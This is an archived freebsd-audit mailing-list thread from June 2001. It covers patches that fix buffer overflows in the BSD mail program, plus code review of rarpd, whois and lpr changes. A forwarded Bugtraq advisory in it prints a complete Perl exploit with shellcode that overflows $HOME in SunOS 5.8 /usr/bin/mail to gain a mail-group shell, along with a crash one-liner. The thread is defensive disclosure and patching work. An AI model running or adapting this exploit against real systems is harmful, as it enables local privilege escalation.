ones involving HOME. I don't think this represents a security problem, though. --- cmd1.c.orig Mon Jun 4 18:47:11 2001 +++ cmd1.c Mon Jun 4 18:47:22 2001 @@ -440,7 +440,7 @@ char dirname[BUFSIZ]; char *cmd; - if (getfold(dirname) < 0) { + if (getfold(dirname, sizeof(dirname)) < 0) { printf("No value set for \"folder\"\n"); return 1; } --- fio.c.orig Mon Jun 4 18:41:27 2001 +++ fio.c Mon Jun 4 18:51:37 2001 @@ -340,13 +340,18 @@ name = "~/mbox"; /* fall through */ } - if (name[0] == '+' && getfold(cmdbuf) >= 0) { + if (name[0] == '+' && getfold(cmdbuf, sizeof(cmdbuf)) >= 0) { sprintf(xname, "%s/%s", cmdbuf, name + 1); name = savestr(xname); } /* catch the most common shell meta character */ if (name[0] == '~' && (name[1] == '/' || name[1] == '\0')) { - sprintf(xname, "%s%s", homedir, name + 1); + if (snprintf(xname, sizeof(xname), "%s%s", homedir, name + 1) + >= sizeof(xname)) { + fprintf(stderr, "\"%s\": Expansion failed -- " + "path too long.\n", name); + return NOSTR; + } name = savestr(xname); } if (!anyof(name, "~{[*?$`'\"\\")) @@ -398,18 +403,25 @@ * Determine the current folder directory name. */ int -getfold(name) +getfold(name, bufsize) char *name; + size_t bufsize; { char *folder; + int n; if ((folder = value("folder")) == NOSTR) return (-1); if (*folder == '/') - strcpy(name, folder); + n = strlcpy(name, folder, bufsize); else - sprintf(name, "%s/%s", homedir, folder); - return (0); + n = snprintf(name, bufsize, "%s/%s", homedir, folder); + if (n >= bufsize) { + fprintf(stderr, "Folder '%s' ignored -- path too long.\n", + folder); + return (-1); + } else + return (0); } /* --- lex.c.orig Mon Jun 4 18:46:48 2001 +++ lex.c Mon Jun 4 18:46:57 2001 @@ -613,7 +613,7 @@ s++; } ename = mailname; - if (getfold(fname) >= 0) { + if (getfold(fname, sizeof(fname)) >= 0) { strcat(fname, "/"); if (strncmp(fname, mailname, strlen(fname)) == 0) { sprintf(zname, "+%s", mailname + strlen(fname)); -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org ----- Forwarded message from Georgi Guninski ----- Date: Mon, 04 Jun 2001 18:14:30 +0300 From: Georgi Guninski To: Bugtraq Subject: $HOME buffer overflow in SunOS 5.8 x86 Georgi Guninski security advisory #46, 2001 $HOME buffer overflow in SunOS 5.8 x86 Systems affected: SunOS 5.8 x86 have not tested on other OSes Risk: Medium Date: 4 June 2001 Legal Notice: This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail leading to egid=mail. Details: HOME=`perl -e 'print "A"x1100'` ; export HOME mail a CTL-C eip gets smashed with 0x41414141. Exploit: -------------solmail.pl---------------------- #!/usr/bin/perl # /usr/bin/mail exploit by Georgi Guninski use Env qw($HOME); #shell code taken from Pablo Sor's mailx exploit $shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"; $shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"; $shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"; $shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"; $shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"; $shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"; $shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"; $shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"; $shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"; $shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; $RET = "\xa0\x6f\x04\x08" ; #may need to change this $OVER=1032; $ALL=1200; $buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell; system("/bin/ln -s /bin/ksh /tmp/xx"); print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress CTL-C\n"; $ENV{HOME}=$buf; exec "/usr/bin/mail","A"; --------------------------------------------- Workaround: chmod -s /usr/bin/mail Vendor status: Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches. Regards, Georgi Guninski http://www.guninski.com ----- End forwarded message ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Mon Jun 4 17:14: 0 2001 Delivered-To: freebsd-audit@freebsd.org Received: from shade.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 5C16B37B401 for ; Mon, 4 Jun 2001 17:13:56 -0700 (PDT) (envelope-from nectar@nectar.com) Received: (from nectar@localhost) by shade.nectar.com (8.11.3/8.11.3) id f550DvI48362 for freebsd-audit@freebsd.org; Mon, 4 Jun 2001 19:13:57 -0500 (CDT) (envelope-from nectar) Date: Mon, 4 Jun 2001 19:13:57 -0500 From: "Jacques A. Vidrine" To: freebsd-audit@freebsd.org Subject: Re: Fwd: [$HOME buffer overflow in SunOS 5.8 x86] Message-ID: <20010604191356.A48356@shade.nectar.com> Mail-Followup-To: "Jacques A. Vidrine" , freebsd-audit@freebsd.org References: <20010604185510.B47924@shade.nectar.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010604185510.B47924@shade.nectar.com>; from n@nectar.com on Mon, Jun 04, 2001 at 06:55:11PM -0500 X-Url: http://www.nectar.com/ Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Jun 04, 2001 at 06:55:11PM -0500, Jacques A. Vidrine wrote: > There are several other potential overflows (sprintf, strcpy), but > here is a patch for ones involving HOME. I don't think this > represents a security problem, though. Oops, forgot patch to extern.h. Here's the whole set again, with that leading. --- extern.h.orig Mon Jun 4 19:12:27 2001 +++ extern.h Mon Jun 4 18:47:36 2001 @@ -130,7 +130,7 @@ void free_child __P((int)); int from __P((int *)); off_t fsize __P((FILE *)); -int getfold __P((char *)); +int getfold __P((char *, size_t)); int gethfield __P((FILE *, char [], int, char **)); int getmsglist __P((char *, int *, int)); int getrawlist __P((char [], char **, int)); --- cmd1.c.orig Mon Jun 4 18:47:11 2001 +++ cmd1.c Mon Jun 4 18:47:22 2001 @@ -440,7 +440,7 @@ char dirname[BUFSIZ]; char *cmd; - if (getfold(dirname) < 0) { + if (getfold(dirname, sizeof(dirname)) < 0) { printf("No value set for \"folder\"\n"); return 1; } --- fio.c.orig Mon Jun 4 18:41:27 2001 +++ fio.c Mon Jun 4 18:51:37 2001 @@ -340,13 +340,18 @@ name = "~/mbox"; /* fall through */ } - if (name[0] == '+' && getfold(cmdbuf) >= 0) { + if (name[0] == '+' && getfold(cmdbuf, sizeof(cmdbuf)) >= 0) { sprintf(xname, "%s/%s", cmdbuf, name + 1); name = savestr(xname); } /* catch the most common shell meta character */ if (name[0] == '~' && (name[1] == '/' || name[1] == '\0')) { - sprintf(xname, "%s%s", homedir, name + 1); + if (snprintf(xname, sizeof(xname), "%s%s", homedir, name + 1) + >= sizeof(xname)) { + fprintf(stderr, "\"%s\": Expansion failed -- " + "path too long.\n", name); + return NOSTR; + } name = savestr(xname); } if (!anyof(name, "~{[*?$`'\"\\")) @@ -398,18 +403,25 @@ * Determine the current folder directory name. */ int -getfold(name) +getfold(name, bufsize) char *name; + size_t bufsize; { char *folder; + int n; if ((folder = value("folder")) == NOSTR) return (-1); if (*folder == '/') - strcpy(name, folder); + n = strlcpy(name, folder, bufsize); else - sprintf(name, "%s/%s", homedir, folder); - return (0); + n = snprintf(name, bufsize, "%s/%s", homedir, folder); + if (n >= bufsize) { + fprintf(stderr, "Folder '%s' ignored -- path too long.\n", + folder); + return (-1); + } else + return (0); } /* --- lex.c.orig Mon Jun 4 18:46:48 2001 +++ lex.c Mon Jun 4 18:46:57 2001 @@ -613,7 +613,7 @@ s++; } ename = mailname; - if (getfold(fname) >= 0) { + if (getfold(fname, sizeof(fname)) >= 0) { strcat(fname, "/"); if (strncmp(fname, mailname, strlen(fname)) == 0) { sprintf(zname, "+%s", mailname + strlen(fname)); -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Mon Jun 4 18:26:55 2001 Delivered-To: freebsd-audit@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id 46B3037B401 for ; Mon, 4 Jun 2001 18:26:53 -0700 (PDT) (envelope-from dima@unixfreak.org) Received: from hornet.unixfreak.org (hornet [63.198.170.140]) by bazooka.unixfreak.org (Postfix) with ESMTP id B06E63E31; Mon, 4 Jun 2001 18:26:52 -0700 (PDT) To: Peter Pentchev Cc: audit@FreeBSD.org Subject: Re: rarpd(8) cleanup patch In-Reply-To: <20010604161628.A20595@ringworld.oblivion.bg>; from roam@orbitel.bg on "Mon, 4 Jun 2001 16:16:28 +0300" Date: Mon, 04 Jun 2001 18:26:52 -0700 From: Dima Dorfman Message-Id: <20010605012652.B06E63E31@bazooka.unixfreak.org> Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Peter Pentchev writes: > At http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd.patch > there is a patch that does the following: > - remove 'register' keywords; > - add 'const' to a couple of strings; > - add prototypes for several missed functions; > - several int/u_int/unsigned/long/format cleanups for WARNS=2; > - mdoc(7) cleanup for the rarpd.8 manpage. Couple of comments: * Kris said WARNS should be set like this: "WARNS?= 2" to allow overriding. * main() doesn't have to be prototyped. GCC complains about it right now; I've posted a patch to it which will shut it up in this case, and obrien said he'd commit it but apparently hasn't gotten around to it yet. * The function prototypes at the top should be in alphabetical order. * style(9) says that there shouldn't be a space after a cast. I.e., this: (int) sizeof(fish) is wrong. It should be: (int)sizeof(fish) Other than that, this looks good. > Functions and prototypes were left in K&R style, although an ANSIfication > would make the next change a lot easier. Should I ansify the lot? I'd say so. ANSI is preferred, so it isn't worth the trouble to support K&R if you have to go out of your way. stlye(9) says you shouldn't break support for it gratuitously, but I think support for varargs.h in new code is a little too much :-). > In addition, http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd-d.patch > adds a command-line flag, -d, that makes rarpd(8) send diagnostic messages > to stdout, error messages to stderr. This is quite useful when running > rarpd(8) under some kind of service monitoring script, e.g. supervise/svscan > from DJB's daemontools package. This one looks good, too, the above comments notwithstanding. Regards, Dima Dorfman dima@unixfreak.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Tue Jun 5 4:59: 0 2001 Delivered-To: freebsd-audit@freebsd.org Received: from shade.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 8CEBE37B405; Tue, 5 Jun 2001 04:58:57 -0700 (PDT) (envelope-from nectar@nectar.com) Received: (from nectar@localhost) by shade.nectar.com (8.11.3/8.11.3) id f55Bwqk31009; Tue, 5 Jun 2001 06:58:52 -0500 (CDT) (envelope-from nectar) Date: Tue, 5 Jun 2001 06:58:52 -0500 From: "Jacques A. Vidrine" To: freebsd-audit@freebsd.org Cc: mikeh@freebsd.org Subject: Re: Fwd: [$HOME buffer overflow in SunOS 5.8 x86] Message-ID: <20010605065852.B30939@shade.nectar.com> Mail-Followup-To: "Jacques A. Vidrine" , freebsd-audit@freebsd.org, mikeh@freebsd.org References: <20010604185510.B47924@shade.nectar.com> <20010604191356.A48356@shade.nectar.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010604191356.A48356@shade.nectar.com>; from n@nectar.com on Mon, Jun 04, 2001 at 07:13:57PM -0500 X-Url: http://www.nectar.com/ Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Jun 04, 2001 at 07:13:57PM -0500, Jacques A. Vidrine wrote: > On Mon, Jun 04, 2001 at 06:55:11PM -0500, Jacques A. Vidrine wrote: > > There are several other potential overflows (sprintf, strcpy), but > > here is a patch for ones involving HOME. I don't think this > > represents a security problem, though. > > Oops, forgot patch to extern.h. Here's the whole set again, with that > leading. I had a dream last night that someone already patched this, and more, in -CURRENT over 2 months ago, and that I had even reviewed the changes 8-) I don't know why I didn't check -CURRENT before doing a quick fix. Mike, how about MFCing your mail commits? Cheers, -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Tue Jun 5 10:39: 7 2001 Delivered-To: freebsd-audit@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.13]) by hub.freebsd.org (Postfix) with SMTP id 1FDA037B408 for ; Tue, 5 Jun 2001 10:39:04 -0700 (PDT) (envelope-from roam@orbitel.bg) Received: (qmail 9911 invoked by uid 1000); 5 Jun 2001 17:37:53 -0000 Date: Tue, 5 Jun 2001 20:37:53 +0300 From: Peter Pentchev To: Dima Dorfman Cc: audit@FreeBSD.org Subject: Re: rarpd(8) cleanup patch Message-ID: <20010605203753.D587@ringworld.oblivion.bg> Mail-Followup-To: Dima Dorfman , audit@FreeBSD.org References: <20010604161628.A20595@ringworld.oblivion.bg> <20010605012652.B06E63E31@bazooka.unixfreak.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010605012652.B06E63E31@bazooka.unixfreak.org>; from dima@unixfreak.org on Mon, Jun 04, 2001 at 06:26:52PM -0700 Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG OK, points taken. The new patches are at: http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd.patch http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd-d.patch G'luck, Peter -- No language can express every thought unambiguously, least of all this one. On Mon, Jun 04, 2001 at 06:26:52PM -0700, Dima Dorfman wrote: > Peter Pentchev writes: > > At http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd.patch > > there is a patch that does the following: > > - remove 'register' keywords; > > - add 'const' to a couple of strings; > > - add prototypes for several missed functions; > > - several int/u_int/unsigned/long/format cleanups for WARNS=2; > > - mdoc(7) cleanup for the rarpd.8 manpage. > > Couple of comments: > > * Kris said WARNS should be set like this: "WARNS?= 2" to allow overriding. > * main() doesn't have to be prototyped. GCC complains about it right > now; I've posted a patch to it which will shut it up in this case, and > obrien said he'd commit it but apparently hasn't gotten around to it > yet. > * The function prototypes at the top should be in alphabetical order. > * style(9) says that there shouldn't be a space after a cast. I.e., this: > > (int) sizeof(fish) > > is wrong. It should be: > > (int)sizeof(fish) > > Other than that, this looks good. > > > Functions and prototypes were left in K&R style, although an ANSIfication > > would make the next change a lot easier. Should I ansify the lot? > > I'd say so. ANSI is preferred, so it isn't worth the trouble to > support K&R if you have to go out of your way. stlye(9) says you > shouldn't break support for it gratuitously, but I think support for > varargs.h in new code is a little too much :-). > > > In addition, http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd-d.patch > > adds a command-line flag, -d, that makes rarpd(8) send diagnostic messages > > to stdout, error messages to stderr. This is quite useful when running > > rarpd(8) under some kind of service monitoring script, e.g. supervise/svscan > > from DJB's daemontools package. > > This one looks good, too, the above comments notwithstanding. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Tue Jun 5 14:35:13 2001 Delivered-To: freebsd-audit@freebsd.org Received: from coffee.q9media.com (coffee.q9media.com [216.94.229.19]) by hub.freebsd.org (Postfix) with ESMTP id 93D5637B407 for ; Tue, 5 Jun 2001 14:35:06 -0700 (PDT) (envelope-from mike@q9media.com) Received: from [192.168.1.10] (vega.tct.net [216.94.230.13]) by coffee.q9media.com (8.11.2/8.11.2) with ESMTP id f55LijL97502; Tue, 5 Jun 2001 17:44:45 -0400 (EDT) (envelope-from mike@q9media.com) User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Tue, 05 Jun 2001 17:35:00 -0400 Subject: whois(1) patch - commit ready From: Mike Barcroft To: Cc: Mike Heffner , Garance A Drosihn Message-ID: In-Reply-To: Mime-version: 1.0 Organization: q9 media Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The patch at the following URL: http://testbed.q9media.net/freebsd/whois.patch ...is now commit-ready. I've fixed all issues that were brought up in the review process. Does anyone have any interest in committing it, or shall I open a PR? gad@ has volunteered to commit it in a week or so, if no one else is interested. Best regards, Mike Barcroft To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Wed Jun 6 23:19:57 2001 Delivered-To: freebsd-audit@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id DACCD37B406 for ; Wed, 6 Jun 2001 23:19:54 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id f576JqW130634; Thu, 7 Jun 2001 02:19:52 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: References: Date: Thu, 7 Jun 2001 02:19:50 -0400 To: freebsd-print@bostonradio.org, freebsd-audit@FreeBSD.ORG From: Garance A Drosihn Subject: Re: Large Cleanup update for lpr & friends Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 6:08 PM -0400 6/3/01, I (Garance) wrote: >I'm obviously hoping to apply this to current "sometime >soon", as it's a large patch and would probably conflict >with any other patch that anyone might happen to write >for lpr. ... > >"Sometime soon" would be next weekend at the earliest, >or later if there is any feedback coming in. It's more likely to be the weekend of June 16th now. I got around to trying this on freebsd/alpha (beast), and the patch causes a few NEW warnings that weren't there (on fb/alpha) before the update. I've also been compiling similar changes on non-freebsd systems, and between all of these different tests I'll probably have a few lines to change before making the commit. I hope to have all these extra tests sorted out and a new patch generated by early this weekend (friday?), and then it can wait a week if anyone wants to look it over before I commit it to current. -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Thu Jun 7 12:48:22 2001 Delivered-To: freebsd-audit@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id C54AE37B401 for ; Thu, 7 Jun 2001 12:48:19 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id f57JmDM89334; Thu, 7 Jun 2001 15:48:13 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: References: Date: Thu, 7 Jun 2001 15:48:10 -0400 To: freebsd-print@bostonradio.org, freebsd-audit@FreeBSD.ORG From: Garance A Drosihn Subject: Re: Large Cleanup update for lpr & friends Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 6:08 PM -0400 6/3/01, Garance A Drosihn wrote: >The patch is about 2300 lines, so I think I'll post a >url instead of including the whole patch here. The >result is at: > >ftp://freefour.acs.rpi.edu/pub/bsdlpr/lpr-spruce.diff New version is at: ftp://freefour.acs.rpi.edu/pub/bsdlpr/lpr-spruce2.diff This DOES result in object-code changes for lpd.o on alpha (but not on i386). The problem is that the current code has a declaration of: static int sendfile __P((struct printer *pp, int type, char *file, int format)); but a routine definition of: static int sendfile(pp, type, file, format) struct printer *pp; int type; char *file; char format; /* <- note */ { ... } In ansi-fying this, I have to use 'int' or 'char' for both versions of 'format', and either choice will result in a change to the object code under Alpha. I think this is pretty much ready to go. Even if it could be more extensive, it's about as much as I want to tackle in a single pass. -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message From owner-freebsd-audit Sat Jun 9 6:55:35 2001 Delivered-To: freebsd-audit@freebsd.org Received: from ringworld.nanolink.com (diskworld.nanolink.com [195.24.48.189]) by hub.freebsd.org (Postfix) with SMTP id E7B2037B401 for ; Sat, 9 Jun 2001 06:55:31 -0700 (PDT) (envelope-from roam@orbitel.bg) Received: (qmail 72010 invoked by uid 1000); 9 Jun 2001 13:54:12 -0000 Date: Sat, 9 Jun 2001 16:54:12 +0300 From: Peter Pentchev To: audit@FreeBSD.org Cc: Dima Dorfman Subject: Re: rarpd(8) cleanup patch Message-ID: <20010609165412.D69352@ringworld.oblivion.bg> Mail-Followup-To: audit@FreeBSD.org, Dima Dorfman References: <20010604161628.A20595@ringworld.oblivion.bg> <20010605012652.B06E63E31@bazooka.unixfreak.org> <20010605203753.D587@ringworld.oblivion.bg> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010605203753.D587@ringworld.oblivion.bg>; from roam@orbitel.bg on Tue, Jun 05, 2001 at 08:37:53PM +0300 Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Jun 05, 2001 at 08:37:53PM +0300, Peter Pentchev wrote: > OK, points taken. The new patches are at: > http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd.patch > http://people.FreeBSD.org/~roam/bsd/rarpd/usr.sbin-rarpd-d.patch Pending any comments/objections, I could commit those on Monday. G'luck, Peter -- I am the meaning of this sentence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message